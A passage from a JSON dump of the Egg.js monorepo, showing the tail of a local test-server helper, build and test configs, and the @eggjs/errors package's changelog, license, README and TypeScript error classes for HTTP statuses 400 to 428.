     headers: ctx.request.headers,\n          host: ctx.request.headers.host,\n        };\n        return;\n      }\n      ctx.body = JSON.stringify(`${ctx.method} ${ctx.path}`);\n    });\n    localServer = http.createServer(app.callback());\n    const serverCallback = () => {\n      const addressRes = localServer.address();\n      const port = addressRes && typeof addressRes === 'object' ? addressRes.port : addressRes;\n      const url = `http://${ip}:` + port;\n      return resolve({ url, server: localServer });\n    };\n    localServer.listen(0, serverCallback);\n    localServer.on('error', (e: any) => {\n      if (e.code === 'EADDRINUSE') {\n        setTimeout(() => {\n          localServer.close();\n          localServer.listen(0, serverCallback);\n        }, 1000);\n      } else {\n        reject(e);\n      }\n    });\n  });\n}\n"
  },
  {
    "path": "packages/egg/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\",\n  \"exclude\": [\"test/fixtures/**/*.ts\", \"*.config.ts\"]\n}\n"
  },
  {
    "path": "packages/egg/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  copy: [\n    {\n      from: 'src/config/favicon.png',\n      to: 'dist/config',\n    },\n  ],\n});\n"
  },
  {
    "path": "packages/egg/vitest.config.ts",
    "content": "import { defineProject, type UserWorkspaceConfig } from 'vitest/config';\n\nconst config: UserWorkspaceConfig = defineProject({\n  test: {\n    testTimeout: 20000,\n    hookTimeout: 20000,\n    include: ['test/**/*.test.ts'],\n    exclude: ['test/fixtures/**', 'test/bench/**', '**/node_modules/**', '**/dist/**'],\n  },\n});\n\nexport default config;\n"
  },
  {
    "path": "packages/errors/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs. \n\n---\n\n## 3.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [2.3.2](https://github.com/eggjs/egg-errors/compare/v2.3.1...v2.3.2) (2022-12-18)\n\n\n### Bug Fixes\n\n* replace all single quote in message ([#15](https://github.com/eggjs/egg-errors/issues/15)) ([8bf8f4d](https://github.com/eggjs/egg-errors/commit/8bf8f4dd337a3111054246e71a73e9057c9c0691))\n\n---\n\n# 2.3.1 / 2022-02-22\n\n**features**\n\n- [[`1992e0b`](http://github.com/eggjs/egg-errors/commit/1992e0bbcdb41c48b64771256e0fa8d27953cecb)] - feat: avoid auto link detect error on IM (#14) (fengmk2 <<fengmk2@gmail.com>>)\n\n# 2.3.0 / 2021-10-26\n\n**features**\n\n- [[`94453a4`](http://github.com/eggjs/egg-errors/commit/94453a4b2b24c98b0fc53020808340e446a04ed8)] - feat: add static create method (#13) (mansonchor.github.com <<mansonchor1987@gmail.com>>)\n\n# 2.2.3 / 2021-07-29\n\n**fixes**\n\n- [[`c3a89cc`](http://github.com/eggjs/egg-errors/commit/c3a89ccefe2370deb5400729fdad106dc6e84a52)] - fix: faq url append twice (#12) (mansonchor.github.com <<mansonchor1987@gmail.com>>)\n\n# 2.2.2 / 2021-04-06\n\n**fixes**\n\n- [[`4e41373`](http://github.com/eggjs/egg-errors/commit/4e41373129601aa4e09faef21c607f432f9d1105)] - fix: judge frameworkError ins replace to Symbol.for (mansonchor.github.com <<mansonchor1987@gmail.com>>)\n\n# 2.2.1 / 2021-03-29\n\n**fixes**\n\n- [[`510ca7b`](http://github.com/eggjs/egg-errors/commit/510ca7b95edff4c2a2b9227c01ae8baa14cf5af3)] - fix: faqUrl suffix use err.code (mansonchor <<mansonchor1987@gmail.com>>)\n\n# 2.2.0 / 2021-03-22\n\n**others**\n\n- [[`cae5451`](http://github.com/eggjs/egg-errors/commit/cae545101335c8a878ec4ee9094aeca1c688b825)] - Feat/framework error (#10) (mansonchor.github.com <<mansonchor@126.com>>)\n\n# 2.1.1 / 2019-12-02\n\n**fixes**\n\n- [[`fbad6cd`](http://github.com/eggjs/egg-errors/commit/fbad6cd0ed5ae723b913124bf9176bfd36eb791f)] - fix: optimize from function (#9) (Peng Gao <<ggjqzjgp103@qq.com>>)\n\n# 2.1.0 / 2018-12-26\n\n**features**\n\n- [[`10d565a`](http://github.com/eggjs/egg-errors/commit/10d565a24118c62d0a8a5ac2edcf04ab0df3968b)] - feat: support short name for HTTP Errors (#8) (fengmk2 <<fengmk2@gmail.com>>)\n\n# 2.0.1 / 2018-12-17\n\n**fixes**\n\n- [[`e2356cc`](http://github.com/eggjs/egg-errors/commit/e2356ccfa5e4caec8044957bf8e95202ae024f4a)] - fix: set the right message when contructor is string (#7) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n# 2.0.0 / 2018-12-11\n\n**features**\n\n- [[`ccaf678`](http://github.com/eggjs/egg-errors/commit/ccaf678e33628ca1424416e3e11b815d74e90e57)] - feat: default value for http error header (#6) (Haoliang Gao <<sakura9515@gmail.com>>)\n- [[`8c9ae6b`](http://github.com/eggjs/egg-errors/commit/8c9ae6b35c383961ba7ba3c89eb69fd30ff8acfd)] - feat: BREAKING_CHANGE rename InternalServerErrorError to InternalServerError (#5) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n**fixes**\n\n- [[`f26bab7`](http://github.com/eggjs/egg-errors/commit/f26bab768ce9bb6fa280738a288a20a95e229a8b)] - fix: Fixed HttpHeader (#3) (sm2017 <<socketman2016@gmail.com>>)\n\n**others**\n\n- [[`6c50c04`](http://github.com/eggjs/egg-errors/commit/6c50c0439f6fcd19ad0a039fbb69cb1715351f18)] - test: dont run tsc when install (#2) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n# 1.0.1 / 2018-08-21\n\n**fixes**\n\n- [[`52ad393`](http://github.com/eggjs/egg-errors/commit/52ad3935b9288e3b8b9c98407de674338a00ed08)] - fix: should tsc before publish (popomore <<sakura9515@gmail.com>>)\n\n# 1.0.0 / 2018-08-21\n\n**features**\n\n- [[`e72b961`](http://github.com/eggjs/egg-errors/commit/e72b96141fbf132c6c7e8b60f2fb2a4c3bdd4262)] - feat: first implement (#1) (Haoliang Gao <<sakura9515@gmail.com>>),fatal: No names found, cannot describe anything.\n\n**others**\n"
  },
  {
    "path": "packages/errors/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2017-present Alibaba Group Holding Limited and other contributors.\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "packages/errors/README.md",
    "content": "# @eggjs/errors\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/errors.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/errors\n[snyk-image]: https://snyk.io/test/npm/@eggjs/errors/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/errors\n[download-image]: https://img.shields.io/npm/dm/@eggjs/errors.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/errors\n\nErrors for [Egg.js](https://eggjs.org)\n\n`@eggjs/errors` provide two kinds of errors that is Error and Exception.\n\n- Exception is system error that egg will log an error and throw exception, but it will be catched by onerror plugin.\n- Error is business error that egg will transform it to response.\n\n## Install\n\n```bash\n$ npm i @eggjs/errors --save\n```\n\n## Usage\n\nCreate an Error\n\n```js\nconst { EggError, EggException } = require('@eggjs/errors');\nlet err = new EggError('egg error');\nconsole.log(EggError.getType(err)); // ERROR\n```\n\nCreate an Exception\n\n```js\nerr = new EggException('egg exception');\nconsole.log(EggException.getType(err)); // EXCEPTION\n```\n\nYou can import an error from an normal error object\n\n```js\nerr = new Error('normal error');\nconsole.log(EggError.getType(err)); // BUILTIN\nerr = EggError.from(err);\nconsole.log(EggError.getType(err)); // ERROR\n```\n\n### Customize Error\n\nError can be extendable.\n\n```js\nconst { EggBaseError } = require('@eggjs/errors');\n\nclass CustomError extends EggBaseError {\n  constructor(message) {\n    super({ message, code: 'CUSTOM_CODE' });\n  }\n}\n```\n\nor using typescript you can customize ErrorOptions.\n\n```js\nimport { EggBaseError, ErrorOptions } from '@eggjs/errors';\n\nclass CustomErrorOptions extends ErrorOptions {\n  public data: object;\n}\n\nclass CustomError extends EggBaseError<CustomErrorOptions> {\n  public data: object;\n  protected options: CustomErrorOptions;\n\n  constructor(options?: CustomErrorOptions) {\n    super(options);\n    this.data = this.options.data;\n  }\n}\n```\n\nRecommend use message instead of options in user land that it can be easily understood by developer, see [http error](https://github.com/eggjs/egg/blob/master/packages/errors/src/http/400.ts).\n\n### HTTP Errors\n\nHTTP Errors is BUILTIN errors that transform 400 ~ 500 status code to error objects. HttpError extends EggBaseError providing two properties which is `status` and `headers`;\n\n```js\nconst { ForbiddenError } = require('@eggjs/errors');\n\nconst err = new ForbiddenError('your request is forbidden');\nconsole.log(err.status); // 403\n```\n\nSupport short name too:\n\n```js\nconst { E403 } = require('@eggjs/errors');\n\nconst err = new E403('your request is forbidden');\nconsole.log(err.status); // 403\n```\n\n### FrameworkBaseError\n\nFrameworkBaseError is for egg framework/plugin developer to throw framework error.it can format by FrameworkErrorFormater\n\nFrameworkBaseError extends EggBaseError providing three properties which is `module`、`serialNumber` and `errorContext`\n\nFrameworkBaseError could not be used directly, framework/plugin should extends like this\n\n```js\nconst { FrameworkBaseError } = require('@eggjs/errors');\n\nclass EggMysqlError extends FrameworkBaseError {\n  // module should be implement\n  get module() {\n    return 'EGG_MYSQL';\n  }\n}\n\nconst err = new EggMysqlError('error message', '01', { traceId: 'xxx' });\nconsole.log(err.module); // EGG_MYSQL\nconsole.log(err.serialNumber); // 01\nconsole.log(err.code); // EGG_MYSQL_01\nconsole.log(err.errorContext); // { traceId: 'xxx' }\n```\n\n#### create frameworkError with formater\n\nuse the static method `.create(message: string, serialNumber: string | number, errorContext?: any)` to new a frameworkError and format it convenient\n\n```js\nconst { FrameworkBaseError } = require('@eggjs/errors');\n\nclass EggMysqlError extends FrameworkBaseError {\n  // module should be implement\n  get module() {\n    return 'EGG_MYSQL';\n  }\n}\n\nconst err = EggMysqlError.create('error message', '01', { traceId: 'xxx' });\nconsole.log(err.message);\n// =>\nframework.EggMysqlError: error message [ https://eggjs.org/faq/EGG_MYSQL/01 ]\n```\n\n### FrameworkErrorFormater\n\nFrameworkErrorFormater will append a faq guide url in error message.this would be helpful when developer encountered a framework error\n\nthe faq guide url format: `${faqPrefix}/${err.module}/${err.serialNumber}`, `faqPrefix` is `https://eggjs.org/faq` by default. It can be extended or overridden by setting `process.env.EGG_FRAMEWORK_ERR_FAQ_PREFIX` (recommended) or, for backward compatibility, `process.env.EGG_FRAMEWORK_ERR_FAQ_PERFIX` (legacy typo).\n\n```js\nconst { FrameworkErrorFormater } = require('@eggjs/errors');\n\nclass CustomErrorFormatter extends FrameworkErrorFormater {\n  static faqPrefix = 'http://www.custom.com/faq';\n}\n```\n\n#### .format(err)\n\nformat error to message, it will not effect origin error\n\n```js\nconst { FrameworkBaseError, FrameworkErrorFormater } = require('@eggjs/errors');\n\nclass EggMysqlError extends FrameworkBaseError {\n  // module should be implement\n  get module() {\n    return 'EGG_MYSQL';\n  }\n}\n\nconst message = FrameworkErrorFormater.format(new EggMysqlError('error message', '01'));\nconsole.log(message);\n// => message format like this\nframework.EggMysqlError: error message [ https://eggjs.org/faq/EGG_MYSQL/01 ]\n...stack\n...\ncode: \"EGG_MYSQL_01\"\nserialNumber: \"01\"\nerrorContext:\npid: 66568\nhostname: xxx\n\n\n// extends\nclass CustomErrorFormatter extends FrameworkErrorFormater {\n  static faqPrefix = 'http://www.custom.com/faq';\n}\nconst message = CustomErrorFormatter.format(new EggMysqlError('error message', '01'));\nconsole.log(message);\n// =>\nframework.EggMysqlError: error message [ http://www.custom.com/faq/EGG_MYSQL/01 ]\n...\n```\n\n#### .formatError(err)\n\nappend faq guide url to err.message\n\n```js\nconst { FrameworkBaseError, FrameworkErrorFormater } = require('@eggjs/errors');\n\nclass EggMysqlError extends FrameworkBaseError {\n  // module should be implement\n  get module() {\n    return 'EGG_MYSQL';\n  }\n}\n\nconst err = FrameworkErrorFormater.formatError(new EggMysqlError('error message', '01'));\nconsole.log(err.message); // error message [ https://eggjs.org/faq/EGG_MYSQL/01 ]\n```\n\n### Available Errors\n\n```\nBaseError\n|- EggBaseError\n|  |- EggError\n|  |- HttpError\n|  |  |- NotFoundError, alias to E404\n|  |  `- ...\n|  |- FrameworkBaseError\n|  `- CustomError\n`- EggBaseException\n   |- EggException\n   `- CustomException\n```\n\n## Questions & Suggestions\n\nPlease open an issue [here](https://github.com/eggjs/egg/issues?q=is%3Aissue+is%3Aopen+sort%3Aupdated-desc).\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "packages/errors/package.json",
    "content": "{\n  \"name\": \"@eggjs/errors\",\n  \"version\": \"3.0.2-beta.5\",\n  \"description\": \"@eggjs/errors provide two kinds of errors that is Error and Exception.\",\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/packages/errors\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"popomore\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"packages/errors\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {},\n  \"devDependencies\": {\n    \"@eggjs/tsconfig\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">= 22.18.0\"\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/base.ts",
    "content": "import type { ErrorOptions } from './error_options.ts';\nimport { ErrorType } from './error_type.ts';\n\nexport const TYPE: symbol = Symbol.for('BaseError#type');\n\nexport class BaseError<T extends ErrorOptions> extends Error {\n  [key: string]: any;\n\n  public static getType(err: Error): ErrorType {\n    // @ts-expect-error `err[TYPE]` is only available on BaseError\n    return err[TYPE] ?? ErrorType.BUILTIN;\n  }\n\n  /**\n   * Create a new instance of the error class from an existing error\n   * @param err - The error to create a new instance from\n   * @param args - The arguments to pass to the constructor\n   * @returns A new instance of the error class\n   */\n  public static from<\n    S extends new (...args: any) => InstanceType<typeof BaseError>,\n    P extends ConstructorParameters<S>,\n  >(this: S, err: Error, ...args: P | undefined[]): InstanceType<S> {\n    // oxlint-disable-next-line no-this-alias\n    const ErrorClass = this;\n    const newErr = new ErrorClass(...(args as any[]));\n    newErr.message = err.message;\n    newErr.stack = err.stack;\n    for (const key of Object.keys(err)) {\n      // @ts-expect-error ignore\n      newErr[key] = err[key];\n    }\n    return newErr as InstanceType<S>;\n  }\n\n  code: string;\n  protected options: T;\n\n  constructor(options?: T) {\n    super();\n    this.options = (options ?? {}) as T;\n    this.message = this.options.message ?? '';\n    this.code = this.options.code ?? '';\n    this.name = this.constructor.name;\n    if (this.options.errorType) {\n      // @ts-expect-error `this[TYPE]` is only available on BaseError\n      this[TYPE] = this.options.errorType;\n    }\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/base_error.ts",
    "content": "import { BaseError } from './base.ts';\nimport type { ErrorOptions } from './error_options.ts';\nimport { ErrorType } from './error_type.ts';\n\nexport class EggBaseError<T extends ErrorOptions> extends BaseError<T> {\n  constructor(options?: T) {\n    super({\n      ...options,\n      errorType: ErrorType.ERROR,\n    } as T);\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/base_exception.ts",
    "content": "import { BaseError } from './base.ts';\nimport type { ErrorOptions } from './error_options.ts';\nimport { ErrorType } from './error_type.ts';\n\nexport class EggBaseException<T extends ErrorOptions = ErrorOptions> extends BaseError<T> {\n  constructor(options?: T) {\n    super({\n      errorType: ErrorType.EXCEPTION,\n      ...options,\n    } as T);\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/error.ts",
    "content": "import { EggBaseError } from './base_error.ts';\nimport type { ErrorOptions } from './error_options.ts';\n\nexport class EggError extends EggBaseError<ErrorOptions> {\n  constructor(message?: string) {\n    super({\n      code: 'EGG_ERROR',\n      message: message ?? '',\n    });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/error_options.ts",
    "content": "import type { ErrorType } from './error_type.ts';\n\nexport interface ErrorOptions {\n  code?: string;\n  errorType?: ErrorType;\n  message: string;\n  [key: string]: any;\n}\n"
  },
  {
    "path": "packages/errors/src/error_type.ts",
    "content": "const ErrorType = {\n  /**\n   * Built-in Error\n   */\n  BUILTIN: 'BUILTIN',\n  /**\n   * Egg Error\n   */\n  ERROR: 'ERROR',\n  /**\n   * Egg Exception\n   */\n  EXCEPTION: 'EXCEPTION',\n} as const;\n\ntype ErrorType = (typeof ErrorType)[keyof typeof ErrorType];\n\nexport { ErrorType };\n"
  },
  {
    "path": "packages/errors/src/exception.ts",
    "content": "import { EggBaseException } from './base_exception.ts';\n\nexport class EggException extends EggBaseException {\n  constructor(message?: string) {\n    super({\n      code: 'EGG_EXCEPTION',\n      message: message ?? '',\n    });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/framework/formatter.ts",
    "content": "import os from 'node:os';\nimport util from 'node:util';\n\nimport { FrameworkBaseError } from './framework_base_error.ts';\n\nconst hostname = os.hostname();\n\nexport class FrameworkErrorFormatter {\n  protected static faqPrefix = 'https://eggjs.org/faq';\n  /**\n   * Custom framework error FAQ prefix\n   */\n  private static faqPrefixEnv = process.env.EGG_FRAMEWORK_ERR_FAQ_PREFIX ?? process.env.EGG_FRAMEWORK_ERR_FAQ_PERFIX;\n\n  static format(err: Error): string {\n    const faqPrefix = this.faqPrefixEnv ?? this.faqPrefix;\n    let errMessage = err.message;\n    if (FrameworkBaseError.isFrameworkError(err) && !errMessage.includes(faqPrefix)) {\n      errMessage += ` [ ${faqPrefix}/${err.code} ]`;\n    }\n    const errStack = err.stack || 'no_stack';\n    return util.format(\n      'framework.%s: %s\\n%s\\ncode: %s\\nserialNumber: %s\\nerrorContext: %j\\npid: %s\\nhostname: %s\\n',\n      err.name,\n      errMessage,\n      errStack.substring(errStack.indexOf('\\n') + 1),\n      // @ts-expect-error ignore\n      err.code,\n      // @ts-expect-error ignore\n      err.serialNumber,\n      // @ts-expect-error ignore\n      err.errorContext,\n      process.pid,\n      hostname,\n    );\n  }\n\n  static formatError<T extends Error>(err: T): T {\n    const faqPrefix = this.faqPrefixEnv ?? this.faqPrefix;\n    if (FrameworkBaseError.isFrameworkError(err) && !err.message.includes(faqPrefix)) {\n      err.message += ` [ ${faqPrefix}/${err.code} ]`;\n    }\n    return err;\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/framework/framework_base_error.ts",
    "content": "import assert from 'node:assert';\n\nimport { EggBaseError } from '../base_error.ts';\nimport type { ErrorOptions } from '../error_options.ts';\nimport { FrameworkErrorFormatter } from './formatter.ts';\n\nexport const FRAMEWORK_ERROR_SYMBOL: unique symbol = Symbol.for('FrameworkBaseError');\n\nexport class FrameworkBaseError extends EggBaseError<ErrorOptions> {\n  public readonly serialNumber: string;\n  public readonly errorContext?: any;\n\n  get module(): string {\n    throw new Error('module should be implemented');\n  }\n\n  constructor(message: string, serialNumber: string | number, errorContext?: any) {\n    super({ message, serialNumber, errorContext });\n    assert(message, 'message is required');\n    assert(serialNumber, 'serialNumber is required');\n\n    this.serialNumber = `${serialNumber}`;\n    this.errorContext = errorContext ?? '';\n    this.code = `${this.module}_${this.serialNumber}`;\n    // @ts-expect-error ignore\n    this[FRAMEWORK_ERROR_SYMBOL] = true;\n  }\n\n  // create a new frameworkError with format\n  static create(message: string, serialNumber: string | number, errorContext?: any): FrameworkBaseError {\n    const err = FrameworkErrorFormatter.formatError(new this(message, serialNumber, errorContext));\n    Error.captureStackTrace(err, this.create);\n    return err;\n  }\n\n  static isFrameworkError(err: Error): err is FrameworkBaseError {\n    // @ts-expect-error ignore\n    return err[FRAMEWORK_ERROR_SYMBOL] === true;\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/400.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class BadRequestError extends HttpError {\n  constructor(message?: string) {\n    const status = 400;\n    const code = 'BAD_REQUEST';\n    message = message ?? 'Bad Request';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/401.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class UnauthorizedError extends HttpError {\n  constructor(message?: string) {\n    const status = 401;\n    const code = 'UNAUTHORIZED';\n    message = message ?? 'Unauthorized';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/402.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class PaymentRequiredError extends HttpError {\n  constructor(message?: string) {\n    const status = 402;\n    const code = 'PAYMENT_REQUIRED';\n    message = message ?? 'Payment Required';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/403.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class ForbiddenError extends HttpError {\n  constructor(message?: string) {\n    const status = 403;\n    const code = 'FORBIDDEN';\n    message = message ?? 'Forbidden';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/404.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class NotFoundError extends HttpError {\n  constructor(message?: string) {\n    const status = 404;\n    const code = 'NOT_FOUND';\n    message = message ?? 'Not Found';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/405.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class MethodNotAllowedError extends HttpError {\n  constructor(message?: string) {\n    const status = 405;\n    const code = 'METHOD_NOT_ALLOWED';\n    message = message ?? 'Method Not Allowed';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/406.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class NotAcceptableError extends HttpError {\n  constructor(message?: string) {\n    const status = 406;\n    const code = 'NOT_ACCEPTABLE';\n    message = message ?? 'Not Acceptable';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/407.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class ProxyAuthenticationRequiredError extends HttpError {\n  constructor(message?: string) {\n    const status = 407;\n    const code = 'PROXY_AUTHENTICATION_REQUIRED';\n    message = message ?? 'Proxy Authentication Required';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/408.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class RequestTimeoutError extends HttpError {\n  constructor(message?: string) {\n    const status = 408;\n    const code = 'REQUEST_TIMEOUT';\n    message = message ?? 'Request Timeout';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/409.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class ConflictError extends HttpError {\n  constructor(message?: string) {\n    const status = 409;\n    const code = 'CONFLICT';\n    message = message ?? 'Conflict';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/410.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class GoneError extends HttpError {\n  constructor(message?: string) {\n    const status = 410;\n    const code = 'GONE';\n    message = message ?? 'Gone';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/411.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class LengthRequiredError extends HttpError {\n  constructor(message?: string) {\n    const status = 411;\n    const code = 'LENGTH_REQUIRED';\n    message = message ?? 'Length Required';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/412.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class PreconditionFailedError extends HttpError {\n  constructor(message?: string) {\n    const status = 412;\n    const code = 'PRECONDITION_FAILED';\n    message = message ?? 'Precondition Failed';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/413.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class PayloadTooLargeError extends HttpError {\n  constructor(message?: string) {\n    const status = 413;\n    const code = 'PAYLOAD_TOO_LARGE';\n    message = message ?? 'Payload Too Large';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/414.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class URITooLongError extends HttpError {\n  constructor(message?: string) {\n    const status = 414;\n    const code = 'URI_TOO_LONG';\n    message = message ?? 'URI Too Long';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/415.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class UnsupportedMediaTypeError extends HttpError {\n  constructor(message?: string) {\n    const status = 415;\n    const code = 'UNSUPPORTED_MEDIA_TYPE';\n    message = message ?? 'Unsupported Media Type';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/416.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class RangeNotSatisfiableError extends HttpError {\n  constructor(message?: string) {\n    const status = 416;\n    const code = 'RANGE_NOT_SATISFIABLE';\n    message = message ?? 'Range Not Satisfiable';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/417.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class ExpectationFailedError extends HttpError {\n  constructor(message?: string) {\n    const status = 417;\n    const code = 'EXPECTATION_FAILED';\n    message = message ?? 'Expectation Failed';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/418.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class ImATeapotError extends HttpError {\n  constructor(message?: string) {\n    const status = 418;\n    const code = 'IMA_TEAPOT';\n    message = message ?? \"I'm a teapot\";\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/421.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class MisdirectedRequestError extends HttpError {\n  constructor(message?: string) {\n    const status = 421;\n    const code = 'MISDIRECTED_REQUEST';\n    message = message ?? 'Misdirected Request';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/422.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class UnprocessableEntityError extends HttpError {\n  constructor(message?: string) {\n    const status = 422;\n    const code = 'UNPROCESSABLE_ENTITY';\n    message = message ?? 'Unprocessable Entity';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/423.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class LockedError extends HttpError {\n  constructor(message?: string) {\n    const status = 423;\n    const code = 'LOCKED';\n    message = message ?? 'Locked';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/424.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class FailedDependencyError extends HttpError {\n  constructor(message?: string) {\n    const status = 424;\n    const code = 'FAILED_DEPENDENCY';\n    message = message ?? 'Failed Dependency';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/425.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class UnorderedCollectionError extends HttpError {\n  constructor(message?: string) {\n    const status = 425;\n    const code = 'UNORDERED_COLLECTION';\n    message = message ?? 'Unordered Collection';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/426.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class UpgradeRequiredError extends HttpError {\n  constructor(message?: string) {\n    const status = 426;\n    const code = 'UPGRADE_REQUIRED';\n    message = message ?? 'Upgrade Required';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/428.ts",
    "content": "import { HttpError } from './http_error.ts';\n\nexport class PreconditionRequiredError extends HttpError {\n  constructor(message?: string) {\n    const status = 428;\n    const code = 'PRECONDITION_REQUIRED';\n    message = message ?? 'Precondition Required';\n\n    super({ code, message, status });\n  }\n}\n"
  },
  {
    "path": "packages/errors/src/http/429.ts",
